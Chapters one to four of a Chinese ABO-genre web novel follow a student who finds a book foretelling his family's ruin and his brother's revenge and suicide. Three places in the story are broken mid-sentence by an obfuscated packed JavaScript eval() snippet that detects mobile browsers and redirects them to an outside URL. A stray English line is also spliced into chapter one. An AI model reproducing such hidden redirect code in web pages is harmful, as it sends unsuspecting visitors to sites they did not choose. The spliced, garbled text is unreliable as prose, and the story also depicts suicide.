《你怎么也是alpha?!》 1. 天降剧本 【“裴总,按照您的吩咐,墨月大楼的水泥也已经浇筑完毕。”】 【“那些人一个不少,全都在里面了。”】 【裴亦舟听着电话那头属下的声音没有一点反应,他头也没抬,只是低垂着眼,面不改色地侍弄着摆在岩板石桌中央的那株铃兰花。铃兰花新鲜娇嫩,花瓣之上还承托着几滴晶莹剔透的水珠。】 【不知过了多久,手边的电话挂断,偌大的客厅变得寂静无声。片刻后,裴亦舟忽然神经质地笑起来,那声音由小至大,到最后近乎疯狂。他的眼角通红,面目狰狞,像个不折不扣的疯子。】 【这么多年过去,该做的事,该完成的复仇,他终于全部完成了……而从现在开始,这个世界上再没有任何他牵绊的人和事,也没有任何值得他留恋的存在。】 【不知过了多久,恢复平静的裴亦舟唇角落回平直,面容再度变得死寂。】 【他整理好衬衫衣领,缓步走进卧室,拉开床头柜,里面空空荡荡,只躺着一支手枪。】 【那是他一早给自己定好的结局。裴亦舟此时脸上的神情甚至可以算得上轻松,他举起手枪对准自己的太阳穴,冰凉的枪口抵住皮肤,不留任何间隙,扣动扳机的右手平稳,不带一丝颤抖。】 【砰!】 【蓦然惊起的枪响划破黑夜,殷红的鲜血顺着裴亦舟的额角划下,但他却并不觉得痛苦。】 【死亡到来的太快,痛苦和解脱被凝固在一个瞬间,他甚至连回想这一生的某个片段都来不及。】 【屋外下着雨,玻璃窗上泛起雾气,裴亦舟的身体依旧温热。他那浑噩飘荡的视线缓缓从空中落下,末了,跟随尘埃一道,落在了洁白的铃兰花上。】 【《绝对占有》全文完】 “......” “???” “啪!”裴宁飞速扫完最后几行字,大力合上书,额前的头发都被书页合拢时的风吹起。 他满脸震惊。Luckily,I can''t understand Chinese. 似乎是不敢相信,过了几秒,裴宁又再次翻开那最后几页,但入目的内容仍和之前看到的一模一样。 手中的书不算厚,封面上《绝对占有》四个黑色大字醒目晃眼,但裴宁只觉得匪夷所思。 谁能告诉他这是什么古早狗血味十足的脑残剧情?以及......这里面的主角怎么和他哥一个名? 裴宁坐在书桌边上深呼吸了十几下,但这本书还是那一幅欠揍的模样,嬉皮笑脸地躺在桌子上,让人看着就一肚子气。 这算什么,恶作剧?整蛊游戏? 裴宁的思维发散开去,按照那些网络电视剧和小说里离奇的剧情......这该不会就是世界的剧本,而自己就活在这本书里吧? 多少有点太荒谬了。 最开始的生气劲过去,裴宁逐渐冷静下来。他仔细比对着书中的信息和现实,最后确定了,这本书的主角就是他的哥哥,裴亦舟。 书里对主角的描述从姓名外貌到人际关系都和裴亦舟本人如出一辙,而这本书故事开始的节点,就是裴亦舟上大四这一年——也就是今年。 裴宁皱眉,一想到那些不吉利的剧情就脑子嗡嗡作响。 在这本书所描绘的剧情里,裴亦舟在大四这一年开始自己创业,最开始一番风顺,但后来由于他过于优秀和omega的身份引来了很多人的不满。 这些不满的人大多是alpha,其中有裴亦舟的同学,商业竞争对手,甚至还有裴家本家的长辈。 他们怀着肮脏龌龊的心思,看不得裴亦舟这么一个omega行至高位,于是联手对裴亦舟使绊子,从校园到商场,无所不用其极。这样持续不断的刁难甚至从裴亦舟本人蔓延到了维护他的裴宁一家。 到最后,裴宁父母因为意外车祸双双去世,而裴宁也在19岁时死于腺体疾病,这偌大的世界上,裴亦舟再无一人可以依靠。 在种种变故之后,裴亦舟像是完全变了一个人。 他患上了精神疾病,情绪极其不稳定,暴躁易怒,行事恶劣不计后果。在多年后,他终于将以前所受的屈辱报复了回去,将那些当初欺辱他的人全部填进了自己那栋象征着至高权柄和财富的大楼。 但裴亦舟受尽精神疾病的折磨,心力憔悴,在完成复仇之后没有任何活下去的动力。 于是,故事的结尾,在一个落雨的傍晚,他还是选择在自己的卧室里饮弹自尽。 书里还有句话是这么写的:“虽然没有任何人真正得到他,但让他终其一生被困囿在痛苦之中,又何尝不是一种绝对占有。” 裴宁最开始还以为是谁的恶作剧,但这本书是凭空出现在他床头的——前一秒那里还空无一物,结果下一秒就多了本书,翻开就是那些恶心的剧情,合上就是显眼讨人厌的书名。 除此之外,书中的字字句句都涉及未来,虽说表面上看起来荒诞可笑,但细想来,也不是不可能。裴宁仔细琢磨着,背上瞬间起了一层鸡皮疙瘩,恶寒不止。 他摸上自己的后颈,“因腺体疾病去世”这几个字在他脑海里挥之不去。 自己真的会那样去世吗?他们家真的会变成那样么? 书本上的一个个名字看起来轻飘飘,但却是裴宁最爱、最珍视的家人,因此不管那些是不是真的,他都没法不担心。 “这本书出现在我这也不一定是坏事。”裴宁喃喃自语。 如果这真的是未来,最起码他已经知道了接下来会发生的事,只要他尽全力去阻止,那一切也不是无法改变。 既然裴亦舟是这本书的主角,那他只要保护好哥哥,就可以避免那样的结局。 哥哥......裴宁晃了下神。 虽然他叫裴亦舟哥哥,但他们却不是亲兄弟。 裴家是一个庞大的家族,裴宁一家是其中分支,早早离开了宁江来到枫京扎根。 裴亦舟原先生活在宁江,后来家里突遭变故,母亲意外离世,父亲重病。而那段时间正好是裴亦舟的分化期,因为刺激过大,他的分化受到了影响,最后成了一个信息素低劣的omega。 裴家本家传统刻板,极其看重性别,裴亦舟的父亲担心他会因为性别被欺凌,于是在离世前把裴亦舟托付给了和自己有旧交的裴宁父亲。 裴宁在那年多了一个哥哥,也在那年第一次闻到别人信息素的味道。 所以裴亦舟对他而言十分特殊。 只可惜自从裴亦舟回到宁江上大学后回家的频率就降低了很多,裴宁已经很久没见过他了。 裴宁埋在自己的思绪里,完全没注意到房间的门被人从外面推开。 “小宁,在想什么呢这么出神?”宋月黎笑着问。 “妈妈你怎么现在就上来,刚才不是有客人来找爸吗?”裴宁问。 “他们早就走了,我还纳闷你今天怎么这么坐得住。”宋月黎说。 裴宁笑笑,他这会儿脑子还没缓过劲,看起来心事重重。 宋月黎看着他这副样子像是想到了什么,突然“哦”了一声,说:“现在是不是能查志愿了!我突然想起来呢,走,我们一起去你爸书房。” 裴宁一怔。 对啊,今天还要查志愿,他怎么把这事儿忘了! 他之所以觉得《绝对占有》不是胡编乱造还有一个原因:那就是因为只有裴宁自己知道,他偷偷改了高考的第一志愿,而在书中轻描淡写的旁白里,裴宁如愿以偿去了那所大学。 裴宁一侧的肩膀被宋月黎轻轻揽住,他有些紧张地挺直了背,小心翼翼问:“妈妈,如果录取情况和之前预测的不太一样怎么办......” “可不许这么说,我们小宁成绩这么好,一定不会有问题的。”宋月黎信心满满。 而几分钟之后,书房里原本轻松的氛围逐渐凝固起来。 因为枫京大学的录取系统里没能查到裴宁的名字。 见此情状,就连宋月黎都收了笑,她皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴松墨无奈地揉了揉鼻梁,他就知道裴宁这小孩从小就跟条尾巴似的,去哪都要粘着他哥。 “所以,你们不生我的气吧。”裴宁试探着问,眼睛亮亮的,主动去拉宋月黎的手。 “哎呀,你选都选好了,我生气又有什么用,”宋月黎嗔怪他,“反正你也是大人了,做什么都不打算和我商量。” 裴宁闻言刚想撒娇,就听见家门外传来一道引擎熄灭的声音。 肢体先意识一步行动,裴宁出了书房趴在二楼栏杆上往下望,正巧与进门的人四目相对。 明明是盛夏时节,但裴亦舟今天还是穿着一身板正的白衬衫,衣领整齐一丝不苟,后脖颈上贴着属于omega的信息素阻隔贴。那个信息素阻隔贴还是裴宁专门挑了寄过去了,末端印着一只橘黄色的卡通猫猫头。 许久不见,他的头发长了些,深黑的发梢不偏不倚地落在眼镜架的上头。 他的视线温润柔和,在捕捉到裴宁眼中的诧异之后,又变成了一抹笑意。 浅淡的木兰花香从楼下飘荡过来,裴宁几乎没有任何犹豫就拔腿往下跑。 “今天是什么特别的日子啊,哥哥你怎么突然回来了!”裴宁实在惊喜,他凑到裴亦舟身边,许久无处安放的黏糊劲一下泛了上来。 “最近学校里的任务完成了就回家一趟,”裴亦舟垂眸,说话声音平稳,“不过今天确实是特别的日子,所以我还带了礼物回来。” “啊?”裴宁不明所以。 裴亦舟笑着说:“我应该没记错吧,今天开始你不就是枫京大学的学生了吗?” 猛地听裴亦舟提到这个,裴宁一缩脖子,那模样像是被踩到尾巴的猫,瞬间呲开了毛。 裴亦舟看着他欲言又止的样子,脸上的笑意不变:“怎么了,是录取的专业不喜欢吗,这些都可以再变的。” 宋月黎此时也下了楼:“唉,亦舟你是不是也不知道,不是专业的问题,是小宁他自己悄悄改了第一志愿。” 这件事在裴亦舟意料之外,他放轻声音问裴宁:“小宁,告诉哥哥你第一志愿改到哪了?” 裴宁嘴唇动了动,片刻之后仰起头,看着裴亦舟的眼睛说: “宁江大学。” “哥哥,我改到了你的学校。” 2. 小猫阻隔贴 哥哥生气了。 裴宁发现了这一点,并且对此非常笃定。 不仅仅是因为裴亦舟这次回家之后没有摸他的脑袋,更关键的是,裴亦舟回答他问题的时间明显比平时慢了两秒。 有时候甚至还不止两秒! 裴宁心里忐忑,吃饭的时候咬着叉子想东想西,总感觉如坐针毡,处处不踏实。 坐在他右手边的裴亦舟很快发现了他的不对劲,偏头温柔问:“小宁哪里不舒服吗?” “没有,”裴宁摇摇头,叉了块牛肉又小声问裴亦舟,“哥哥,你是不是在生我的气啊。” 裴亦舟听见他这么问有些意外,他讶异地睁大眼,否认了裴宁的猜想:“怎么会,我有什么好生气的,想去哪里读书都是你的自由。” ‘那你为什么不摸我的脑袋’,这句话在裴宁喉咙边滚了滚,最后还是没说出口,他也觉得自己幼稚,但还是忍不住较真。 裴亦舟是个omega,性格温和为人体贴,裴宁又不会和哥哥唱反调,因此从小到大裴亦舟就没和他生过什么气,吵架更是闻所未闻,这就导致裴宁在这一块儿的处理经验完全是零。 一结束晚餐裴亦舟就和裴松墨进了书房,深色的木门被关起,裴宁也不知道他们要说什么,只是闷闷地坐在沙发上陪着宋月黎吃水果。 而等他吃到第十三颗车厘子的时候才突然想起——哥哥说要给自己的礼物没影了。 裴宁瞬间像泄了气的皮球一样瘫下去,宋月黎看他这副样子觉得好笑,坐过来捏了捏他的脸。 裴宁从小没吃过什么苦,皮肤偏白,小时候脸上的肉多,宋月黎总拿他当解压玩具捏着玩,这会儿长大了,属于青年的骨骼感更为突出,但捏起来仍是柔软的。 “怎么哥哥回来反倒不开心了?” “唔也谜语,唔,”裴宁反驳着挣开,小声嘀咕,“没有不开心,我就是觉得哥哥好像生我气了。” 傍晚听闻他贸然改志愿的事情裴亦舟并没有什么太大的反应,只是顿了几秒,随后和往常一样笑着说:“宁江大学也不错,小宁喜欢就来吧。” 当时裴宁还以为这件事就这么揭过去了,但现在看来还没那么容易。 裴宁回话回的含含糊糊,宋月黎想要再问两句裴宁却不肯说了。 见状,宋月黎只好无奈道:“你啊别多想啦,想做什么就去做,我和你爸爸哥哥肯定都是会支持你的。” “嗯嗯我知道,”裴宁小鸡啄米一样点头,过了会儿猛地坐起,“对了妈妈,还有个事我要问你,你还记得我上次去检查腺体那个医生怎么说的吗?我的腺体现在健不健康啊?” 裴宁想到书里自己的死因不免有些如鲠在喉。 腺体疾病虽然棘手但也不是完全治不好,只要及时发现提早干预一切都有希望。裴宁清楚记得,剧情里的他大一都还没念完就因为疾病去世了。 裴宁很爱自己的家人,有数不清的想要去做的事,也有许多未完成的心愿,因此他的求生欲不是一般的强,是非常非常的强。 “陈医生说腺体的应激状态还是没有消减,但其他数据都没什么问题,等到分化了应激就会好,就是现在发育的还是有些慢,”宋月黎摸了摸裴宁的脸,眼底藏着些担忧,“最近有哪里不舒服吗?” 裴宁说没有,但宋月黎还是不放心。 “妈妈你就别担心了,你知道我受不了痛的,要是真不舒服那早就在家里打滚登基当皇帝了。”裴宁面上一切如常,嘴一张就开始插科打诨。 宋月黎也知道他的性子,只好由他去。 裴宁腺体上的应激病症是小时候留下的,当时他不过十岁,就意外接触到大量成熟信息素的冲击。在那样的情况下,裴宁尚未发育完全的腺体自发开启了保护措施,隔绝一切外来的信息素。 这就导致裴宁从十岁之后就再也闻不到别人的信息素。 这个社会上,在分化到来之前,每个人都能闻到他人的信息素,这不仅可以加快腺体的发育,也能让人更好地适应这社会。 但裴宁偏偏什么都闻不到,还没分化就直接过上了beta的生活。 虽说医院出示的分化预估报告上显示,他在未来有98.9%的概率分化为alpha,但相较于正常人,他却缺失了很长一段时间的信息素接触期,这就导致他的分化期被长久推后,确切时间难以预估。 而裴亦舟的木兰花香则是裴宁唯一的例外。 裴宁也知道自己应激这个老毛病,只不过以前没怎么放在心上,但现在却不得不在意了。 虽然医生说没什么大事,但裴宁还是不放心,他知道有些隐匿性强的病症单靠平时的检查是查不出来的,所以他在心里打定主意,接下来他要找个机会再去好好检查一遍。 晚上回了房间,裴宁想着自己还没到手的礼物心痒难耐,他纠结了半天,最后还是悄悄出了门。 他的卧室在三楼,和裴亦舟是隔壁间,离得很近。门外的走廊上铺了厚厚的羊绒地毯,柔软非凡,裴宁走在上面没发出一点声音。 他穿着睡衣在裴亦舟门外站定,犹豫了两秒,敲响了门。 两秒后,门开了。 “小宁?你怎么过来了。”裴亦舟还没洗漱,身上仍套着那件白衬衫。 裴宁看着裴亦舟,像是观察似的左右走了两步:“哥你还说没生气,都快睡觉了,你连礼物都不高兴给我。” 裴亦舟闻言失笑,他打开门,先让裴宁进了房间。 “晚上和叔叔聊了好久,我还想着等回卧室了再给你送过去,哪知道你这么心急。”裴亦舟说着,从床脚边拿起了一个木盒。 裴宁最好哄,听见裴亦舟这么说心里压的石头一下就滚开了,顿时喜笑颜开。 “你送我的是什么?让我猜猜,是镜头还是我上次想要那把尤克里里?”裴宁说着打开了盒子,但里面的东西却不是他猜的任何一样。 盒子里面是一只毛绒小猫布偶和一张银行卡。 “诶,这只小猫好眼熟。”裴宁睁大了眼。 “是你给我挑的那只,”裴亦舟说着侧过头,露出了信息素阻隔贴的一端,橘黄色的小猫正傻傻笑着,“是这只,你还记得吗?” “记得记得。”裴宁当然忘不了。 裴亦舟拿起那只毛绒小猫,“我去找了它的整体原形,正好前段时间有空,就帮你缝了一只。” 裴宁从小就知道裴亦舟手巧,和所有omega一样,他心善温柔,很擅长动手和其他有关艺术的工作。 “哥哥你太好了,这个礼物我超级超级喜欢,”裴宁从不吝啬给予自己家人情绪价值,“今晚我床头的狐狸要暂时下岗了,小猫大王即将上位。” 裴宁忍不住去摸那个玩偶,但箱子里还有一张银行卡。 “这个是干嘛的,我最近不缺零花钱。”裴宁家里条件好,裴松墨近年来仕途亨通,宋月黎家里也是传承久远的书香世家,他们两个人对孩子都宽容大方,从来没让裴宁和裴亦舟缺过零花钱。 “我今晚和裴叔叔说的就和这有关,”裴亦舟眉眼一弯,“最近我在试着创业,其实开始也有一段时间了,但一直没来得及和你们说,这张卡里是我赚到的第一桶金。” 裴宁一愣,心里原先的热意瞬间被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077732|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰凉取代,开始创业......那距离书里的时间线也不远了。 裴宁立马警惕起来,但又不敢说的太明显:“哥哥,你最近在宁江那边有没有遇到什么奇怪的人啊?” “没有,目前一切都挺顺利的。怎么了小宁?” “没什么,我就问问。”听他这么说,裴宁的心暂时往下放了放。 也对,现在还没开学,一切还没那么快。自己要先稳住,这样才能解决问题。 “那这张卡我收下了,我小金库不少,哥你以后要是遇到困哪一定要来找我。”裴宁一扫阴霾,又翘起了尾巴。 “知道了。”裴亦舟笑着答应。 片刻之后,他又开口问:“小宁,我问你个问题。” “哥哥你说。” “为什么那么想去宁江大学?”裴亦舟看着他,眼里的情绪被偏深的瞳色遮掩,看不明晰。 “啊,那是因为我从小就在枫京长大,以前老是听爷爷说宁江,我早就想去看看了,再说哥哥你不也在那吗。我要是去了,我们俩可以互相照顾,要是有人要欺负你的话,我也可以保护你。”裴宁直言。 他说着侧过头,瞧见裴亦舟身上衬衫宽松,将他的身体完全遮盖起来。 裴宁在心里想,哥哥好像又瘦了啊。 omega总是那么纤瘦,脆弱易折,而哥哥也和其他omega一样,看起来不太强壮......就是稍微高了一些,但仍是需要保护的存在。 属于木兰的静谧安宁的香气飘开,裴宁忍不住多闻了几下,像猫嗅到了猫薄荷,怎么闻都上瘾。 裴亦舟闻言没说话,末了伸手揉了揉裴宁的脑袋,“嗯,那以后小宁就是我的学弟了,到时候我带你在宁江好好逛逛。” 发丝被指尖撩起的感觉熟悉亲切,和以往的每一次相同,裴宁舒服了,抱着怀里的礼物心满意足地回了房间。 在裴宁走后,裴亦舟脸上的笑容逐渐褪去,明显的下颌微微紧绷。 他抬眼,环视着这个房间里的陈设,几乎每一处角落,每一个细节都是他和裴宁一起摆放搭设的。 裴宁。 裴亦舟低头看了眼自己的手掌,宽阔的掌心纹路纵横,方才发丝柔软的触感似乎依旧残留,久久不去。 裴亦舟直起身,解开了袖口的扣子,将衬衫卷到了手肘,他露出的小臂和裴宁所想象的截然不同,那并不瘦弱,反而坚实异常。 那双小臂上满是锻炼的痕迹,肌肉在动作间起伏,青色的血管隐匿在皮肤之下,攀附在每一处肌肉上,将力量感展现的淋漓尽致,几乎不像是omega会拥有的。 别墅的窗台真对着外面的花园,裴亦舟推门出去,拿出手机拨打了一个电话。 “嗯?你居然会主动来找我?”搞清楚来人,电话那头的声音带上了诧异。 裴亦舟没搭理他,只是问:“你那边人手有没有多的,调几个出来,我有用。” 那人笑了:“做什么啊,还问我要人。” “保镖。” “保谁啊?” “与你无关。”裴亦舟言简意赅。 “行行行知道了,到时候安排好了告诉你,什么臭脾气——” 裴亦舟没有多说,直接掐了电话。 窗外的花园被笼罩在深沉的夜色里,只能零星看清一部分。裴亦舟低头,反手撕下了后颈上的阻隔贴。 木兰的信息素更浓郁了些,弥漫着飘散到空气里,而那个猫猫头阻隔贴则被他捏在指尖。 卡通小猫笑得明媚灿烂,裴亦舟唇角微扬,将阻隔贴绕了一圈,粘在了自己的无名指上。 3. 无效掩护 “叮叮叮——” 起床铃一响,裴宁就“噌”的一下从床上弹了起来,像是刚从面包机里出炉的烤面包片,准时蹦跶了出来。 等裴宁洗漱完下楼才发现家里只剩宋月黎一个人。 “爸爸他们都起了?” “对啊,你爸和亦舟出门了,我昨晚听你爸说了才知道,亦舟现在竟然都开始创业啦,”宋月黎的表情明显带着意外,“正好他今天休假,就带着亦舟去见几个长辈。” 裴宁问:“那他们什么时候回来啊?” 宋月黎想了想:“估计不会太早,可能要傍晚了,再等会儿林老师也该到了。妈妈下午也要出门一趟,今天你得自己待在家里了。” “你去吧,我都多大人了。”裴宁没让阿姨再忙活,就简单热了两片吐司,顺便倒了半杯纯牛奶。 林老师是裴宁的钢琴老师,从小就来家里给他上课,只不过高三的时候学业太过繁忙,以至于钢琴课停了一段时间,到现在才重新接上。 裴宁的钢琴考级早早就结束了,那对他而言没什么难度。裴宁在音乐方面颇有天赋,国内国外大小比赛的奖杯拿了一圈,在裴松墨书房里摆了一整面墙。而林老师是世界知名的钢琴大师,等到裴宁完成这最后一个暑假的学习,也就算是彻底出师了。 裴宁在心里盘算着今天的安排,突然想到:下午家里只有他一个,那不正方便他悄悄去医院体检么! 宋月黎看裴宁吃的不多,还以为他郁闷,柔声说:“待在家里无聊的话让朋友们来做客也好。” “没,没有,我不无聊,”裴宁从备选名单里扯出一个挡箭牌,“我下午准备去戚栩家的,妈妈你就别担心我了。” 戚栩算裴宁半个发小,两个人从小就熟,家长也都各自认识,裴宁要去找他,宋月黎自然是没有意见。 裴宁行动力极强,前脚刚给戚栩发了消息让他回头帮着打掩护,后脚就打开笔记本开始搜腺体疾病检查需要做哪些检查项目。 卧室的窗帘被拉开,外面的阳光直接照在床头小猫布偶的脑袋上,橘黄色的绒毛变得金灿灿,像是在发光。裴宁伸手揉了布偶的脑袋,换了身衣服准备上课。 林老师全名叫林夏,是个长相清秀的女性beta,她年纪轻轻就拿遍了世界大奖,裴宁是她为数不多的学生之一。 “好久不碰琴了吧,”一曲结束,林夏微微皱眉,“最近是不是光顾着玩了,你这让个外行来都听得出不对劲。” 裴宁知道林老师平时都好说话,唯独在这方面严厉,他嘟哝着说:“没这么严重吧,我平时每天都练着呢。” 话音未落,他又接着说:“林老师渴了吗,我去洗点水果吧,或者喝点饮料怎么样?” 林夏知道裴宁这小家伙每次一到这时候就爱岔开话题,现在索性就当听不见:“接着弹,手腕放松,我怎么觉得你今天怪紧张的。” 音乐从某些方面看来是最为直白的东西,它能不加掩饰地展露演奏者的内心,不会说谎,永远诚实。 而在林夏面前,裴宁琴声中的情绪根本无法掩藏。 裴宁也知道自己心绪不宁,只好支吾着含糊了过去。 林夏要求严苛,裴宁在琴房了待了一上午才被放出来。 结束的时候裴宁慢慢合上琴盖,顺便把上次从外公庄园拿来的茶叶给了林夏。 “老师现在还忙活这些呢,也不知道最近老人家身体怎么样。”林夏看着茶叶有点感慨,当初她之所以会来教裴宁,就是因为那是她恩师的外孙。 宋老爷子有一个庄园,里头种了点茶树,以前那些学生或多或少都尝过他的茶叶。 “外公身体硬朗着呢,林老师你就放心吧,”裴宁招招手,“下次再来上课我肯定弹得比这次好。” 刚送走老师,裴宁就打车直奔医院。 由于裴宁的腺体问题已经存在很多年,所以以往的每一次检查,裴宁都会去固定的私立医院,在同一个医生那检测。 但这次显然不能那么兴师动众,裴宁不想让家里人担心,于是约了公立医院的号。 他准备齐全了东西,但到底是缺少了一些就诊经验,没料到下午的时间公立医院里排队等候问诊的人会那么多。 虽说裴宁挂了号,但医院这边的要求是随到随取,之后再等叫号,等裴宁从机器里扯出印着号码的取号单,上面的数字已经排到了209号。 裴宁倒吸一口凉气,再抬头,等候室屏幕上的数字还停留在109号,他两眼一黑,只好找了个空位置坐下。 腺体检查的要求很繁琐,其中最重要的一点就是必须空腹,裴宁想着早上吃的那两片吐司和半杯牛奶,开始静静祷告:拜托拜托,你们可千万要多撑一会儿,可别让我饿死在这里。 就在这时,手机“叮”了一声,裴宁拿出一看,是沉睡的戚栩终于给他回了消息。 【嘘(高考结束沉淀版):怎么了怎么了,你干嘛去了啊要我打掩护。】 裴宁觉得打字有点烦,直接打了个语音通话过去。 “宁,你今天到底干嘛去了。”戚栩的声音还犯着困,懒懒的打了个哈欠。 “也没干嘛,我来医院做个腺体检查,怕我妈担心就没和她说。”裴宁压低声音。 戚栩一怔,“这......事情大吗,我要是当了共犯会不会被斩首啊。” “瞎说什么,小事小事。” “嗯嗯,小逝。”戚栩不是不知道裴宁那腺体的情况,也担心他,又另外问了几句。 “真不用担心,我家里要是问起来你就说我晚点回去。” “行,我还能不帮你吗。不过我还有个问题。”戚栩接着说。 裴宁问:“什么问题?” “昨晚上朋友圈里大家都在晒自己被xx大学录取,按理说你不该缺席啊,你这是......没录上?”戚栩小心翼翼问。 “昨晚事太多,我等会儿补上。”裴宁说。 裴宁说完挂了电话,转手上了宁江大学的网络主页输入了自己的身份证号。 新生的录取信息当即跳出:【裴宁,宁江大学2035级,生物医学专业本科生】 应戚栩的要求,裴宁没多犹豫。 咔嚓,截图,发朋友圈,OK。 半分钟后,裴宁在评论区里收获了一众发小好友的问号,其中戚栩最为突出。 【嘘(高考结束沉淀版):???】 【嘘(高考结束沉淀版):我去,您怎么下南洋行医去了?】 裴宁就知道他们得震惊,憋着笑没回,只是收起手机,仰头看着显示屏上的数字一点点变大。 他戴着口罩,时间久了稍微有点闷,因为是一个人外出也不敢睡觉,索性看着身边各式各样的人来来往往。 腺体科的病人每天都很多,裴宁以前去私立医院的时候还不觉得,现在才惊觉在腺体方面生病的人是真不少。 时间过得飞快,转眼就日落了,裴宁站起身伸了个懒腰,听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那他人呢,让他说话。”裴亦舟往前走,正好经过腺体科的门口。 “啊,他啊,他那个上厕所去了。”裴宁说谎的技巧实在不太美妙。 裴亦舟这下确定了,不管裴宁在哪,反正肯定不在戚栩家里。 拇指的指腹重重摩挲过食指骨节,裴亦舟下意识的动作透露出心里的躁意。 正好身边有人推着病床经过,裴亦舟后退让了一步,偏头的时候余光扫进了一旁的科室,一道挺拔的人影蓦地进入了他的视线。 站在墙边的那个人穿着一件简单的T恤,脖颈修长,皮肤很白,露出的半边侧脸精致优越,像是哪里逃出来的小王子。 医院里人多,夏天就算开了空调也不凉快,裴亦舟甚至可以看见他棕色发丝下渗出的汗珠。 那双眼睛一如既往的好看,只不过这会儿带上了一点心慌。 耳边属于裴宁的声音仍在继续,“哥?哥哥,你别不理我。” 裴亦舟躁动的心一秒回归原位,他静静地看着那个人影,语气温柔依旧:“哥哥不会不理你的。” 裴宁隔着口罩舒出一口气,但在隐约间,却觉得自己仿佛闻到了独属于裴亦舟的木兰花香。 裴宁甚至没来得及多想,下一刻,他就听见裴亦舟说: “小宁,抬头。” 4. 麻烦的东西 裴宁傻了,依照裴亦舟说的抬起头,然后直接和电话那头的哥哥来了个照面。 四目相对,裴宁直愣愣地看着裴亦舟一步步朝自己走过来。 哥哥今天也把自己裹得很严实,一套偏向休闲的长袖正装,从袖口的扣子到衣角都整齐熨帖,一丝不苟,只是那双向来温和的眼睛里这会儿充满了意外。 “哥哥,好巧啊,你也在这。”裴宁干巴巴地打招呼,脖子都僵了。 “小宁,”裴亦舟在裴宁面前站定,顺着刚才电话里未完的话题接着往下,“我怎么不知道戚栩什么时候搬家来这了呢。” 自己这扯的谎是圆不过去了。 裴宁见状放弃狡辩,但裴亦舟却没给他喘息的机会。 裴亦舟问:“今天怎么跑医院来了,是哪里不舒服吗,以前你不都去固定的医生那吗?” 他说着抬起手,指腹在裴宁的后颈轻轻蹭过。 因为裴宁还没分化,完全不受信息素的困扰,因此不需要信息素阻隔贴那些东西,后颈上干干净净,皮肤温热柔软。 裴宁像是被掐住了后脖子的猫,眨巴眨巴眼就开始认错:“我就是好奇我多久才能分化,前段时间在网上看见帖子,说分化晚的人容易得腺体疾病,我就......我就想着来查一下。” 裴亦舟被裴宁看得心一软,语调放软:“那怎么都不和我们说一声。” omega哥哥的眼底溢满了关切,裴宁连忙说:“我就是怕你们知道了会多想,就想着自己来看一下,也好放个心。” 他这会儿说的话虽然掺了假,但大部分都是真的,叫人一下分辨不出来。 裴亦舟垂眸,他对裴宁一直以来的腺体状况都十分了解,但凡送到裴家的检查报告,也会有一份一模一样的送到他手里。但裴宁这突如其来的行为确实让他有些意外,裴亦舟不太放心,索性留在这陪他一起等报告。 “那哥你来这干什么。”裴宁问。 “抑制剂用完了,”裴亦舟说,“过两天我就要回宁江了。” 裴宁没想到裴亦舟那么快就要回去,心里一下子就觉得不太得劲。 宁江离枫京的距离不太近,哪怕是坐飞机也需要四五个小时,裴亦舟上了大学学业繁忙,每年回家的次数都十分有限,裴宁和哥哥的交流大多至于手机视频或是消息。 他们俩差了三岁,裴亦舟上高中的时候裴宁刚初中,等裴宁好不容易熬到上高中,裴亦舟又离家去了大学。 这弄的裴宁十分恼火,恨不得激发一下智力极限给家里展示一个跳级,最好还是一连蹦三级那种,只可惜这个念头最后被宋女士否决了。 而且他也不知道是不是自己的错觉,自从哥哥成年之后,就对自己越来越“礼貌”。 这无关礼仪或是态度,而是一种微妙的距离。 如果说以前裴宁感觉自己无时无刻都可以牵着裴亦舟的手,但现在,再做出这样的行为他就需要仔细思考。 裴宁暗自比量着自己和裴亦舟的个子,虽然哥哥是omega,但在身高这一块儿却不输给身边的任何一个人。 裴宁小时候看他要半仰着头,这会儿长大了,还是差点距离。 omega能长那么高么?应该也能吧。裴宁胡思乱想着。 而在这时,裴亦舟转过头,深黑色的眼睛看向他手里的纸条:“209号是你吧,报告出了,快去拿吧。” “啊,”裴宁醒神,“是我,我马上去。” 他看了眼显示屏的指示,立马朝机器走去。裴宁轮到的那台机器明显上了点年头,相较于旁边的机器更慢了点,哼哧哼哧半天才吐出来半张纸。 “嘀——您的报告已打印完成,祝您身体健康。” 听见提示音裴宁立马抽出那张报告单,礼貌地回了句“谢谢”。 他从小接触自己的报告,对各项数值都了解,医生看后也说目前没有什么大问题,裴宁这才缓了口气。 “但是,”医生话锋一转,裴宁刚放下去半截的心又吊了起来,“你腺体现在发育的太慢了,按照这个数值来看,你的腺体彻底成熟起码还需要两年。” 医生推了下眼镜,眉心微皱:“这个时间点太晚,我担心到时候再分化会影响你的腺体健康。” “那需要做什么?”裴亦舟不知道在什么时候来到了裴宁身后,浅淡的信息素气味从裴宁的身后卷来。 裴宁只感觉肩上一沉,是哥哥的手搭了上来。 “这个倒是可以使用药物催熟,但是存在一定的副作用,所以我还是建议使用信息素治疗,”医生对裴宁额具体情况不太了解,只知道个大概,“你有能闻得见的信息素吗,如果有的话我建议你多接触。” “多接触可嗅闻的信息素,如果最后分化期可以缩短到一年时间,那应该就没有太大问题了。” 回程的路上,医生的话还在裴宁脑子里晃荡,车厢里很安静,但他的肚子却十分不争气地叫了声。 那声音都拐弯了,可见饿得不轻。 